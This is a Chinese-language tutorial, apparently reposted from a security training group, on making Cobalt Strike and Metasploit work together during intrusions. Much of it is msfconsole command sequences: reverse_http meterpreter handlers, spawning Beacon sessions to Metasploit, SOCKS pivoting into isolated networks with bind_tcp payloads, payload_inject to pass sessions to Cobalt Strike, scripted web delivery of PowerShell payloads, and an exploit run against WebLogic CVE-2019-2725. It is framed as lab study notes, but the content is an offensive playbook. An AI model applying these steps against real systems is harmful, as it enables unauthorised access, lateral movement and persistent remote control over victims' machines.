您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關CobaltStrike和Metasploit聯動的示例分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
認準Ms08067
個人覺得CobaltStrike圖形化的界面和豐富的功能,是一個超強的后滲透框架,尤其是方便管理橫向移動過程中搜集到的各種數據和shell,但是對于漏洞利用、初始突破就顯得十分乏力;另一邊Metasploit作為漏洞利用框架,EXP及其順滑,各種各樣的模塊,包含掃描、突破、拓展一條龍服務,但是對于多個shell的管理就顯得有些乏力了(畢竟沒有圖形化界面,命令太多記不住)。于是,如何將兩個框架有效的聯動起來,就成為了今天想要學習的知識。
利用CS的Beacon給MSF派生一個shell,執行后續的滲透任務:
在MSF中配置監聽
# 配置監聽器msf> use exploit/multi/handler# 選擇payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 啟動監聽器msf> set ExitOnSession Falsemsf> run -jz
在CS中建立一個外部監聽器 Foreign HTTP (或 Foreign HTTPS )
選擇想要派生的目標,右鍵選擇 spawn 功能,選擇剛剛建立的監聽器,即可在MSF中接收到回連。
利用CS為MSF提供轉發或代理功能,進行后續的探測和漏洞利用:
利用Beacon建立 socks 代理:
在Beacon中輸入 socks 監聽端口,或者右鍵想要作為轉發的目標,在pivoting中選擇 SOCKS Server ,配置監聽端口后點擊
launch 激活。
在view -> Proxy Pivots 中可以看到建立的轉發器,點擊Tunnel即可獲得MSF的轉發命令
復制到MSF中,設置代理和載荷類型
以CVE-2019-2725為測試靶機
#設置代理 msf> setg Proxies socks4:127.0.0.1:36725 #配置payload,因為是隔離網段的主機,無法直接反連回MSF,所以需要換成被動連接的bind類型載荷 msf> set payload windows/meterpreter/bind_tcp msf> run
主要就是使用MSF框架的EXP獲取CS的Beacon
獲取了一個命令執行Shell:
這是最簡單的情況,也是最常見的情況,并不是所有的EXP都能反彈一個Meterpreter會話回來。
在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 來部署一個Payload分發站點:
配置監聽器和URL路徑,啟動后會彈出相應的命令提示
復制命令后,直接在MSF 的shell中執行即可
命令執行后MSF的會話會卡住,可以直接kill掉,不影響CS會話
獲取了一個Meterpreter會話:
獲得meterpreter會話后,利用MSF注入功能,加載Cs的payload
# 將meterpreter會話掛起 meterpreter> background # 進入payload_inject模塊 msf> use exploit/windows/local/payload_inject # 根據CS監聽器類型選擇對應的payload(http或者https) msf> set payload windows/meterpreter/reverse_http # 設置回連地址(CS監聽器地址) msf> set LHOST CS_IP msf> set LPORT CS_PORT # 指定要執行的meterpreter會話 msf> set session meterpreter會話ID # 設置MSF不啟動監聽(不然的話msf會提示執行成功,但沒有會話建立,同時CS也不會接收到會話) msf> set disablepayloadhandler true msf> run
在過程中發現,這種方法只能向注入32位的payload,如果注入64位payload會導致目標進程崩潰,無法向64位程序中注入32位payload。崩潰原因是:APPCRASH(故障模塊StackHash_af76),即使取得system權限、關閉UAC也還是不行。如果不設置pid,則會創建一個32位的notepad.exe進程,成功連接后記得及時遷移CS的會話進程。
直接反彈回CS:
在MSF漏洞利用時直接請求并加載CS的載荷,和第二種方法基本一致(測試漏洞為 CVE-2019-2725)
# 根據CS監聽器類型選擇對應的payload msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http # 設置回連地址(CS監聽器地址) msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT # 指定要執行的meterpreter會話 msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter會話ID # 設置MSF不啟動監聽(不然的話msf會提示執行成功,但沒有會話建立,同時CS也不會接收到會話) msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true
其實和第二種操作是一樣,都是調用MSF的模塊,配置payload的參數而已。漏洞利用成功后直接通過無窗口 powershell
返回CS會話,目標主機沒有窗口彈出。測試的時候無法加載64位payload,可能是這個漏洞利用后會啟動一個32位的cmd.exe來執行后續命令的原因。
一開始打算是做一篇學習筆記,畢竟好記性不如爛筆頭,看過的東西長時間不使用的話可能就忘記了,留下一個備忘錄日后查詢起來也方便。但是,做到后來就是一個爬坑的過程了,覺得自己好聰明,“這兩個載荷名字好像,也沒有文章提到,會不會也可聯動呀?”,因為網上介紹的方法(中文文章)基本上都是和CS官方2016年發布的指南的是一樣的,但是我看目前CS中Listener的種類不止
http和https ,
dns smb tcp
MSF中也有諸如
windows/meterpreter/reverse_tcp_dns windows/meterpreter/bind_named_pipe windows/meterpreter/reverse_tcp
這類看起來很像的payload模塊,一番測試下來,也就只有http和https載荷可以接收到另一方回連的會話。果然還是是自己太年輕了,沒有人提,確實就是因為它不是這樣用的,畢竟兩個框架一開始就是獨立的,這樣成熟的框架之間能有聯通的方法已經給面子了,一開始就不應該奢求太多的。
上述就是小編為大家分享的CobaltStrike和Metasploit聯動的示例分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。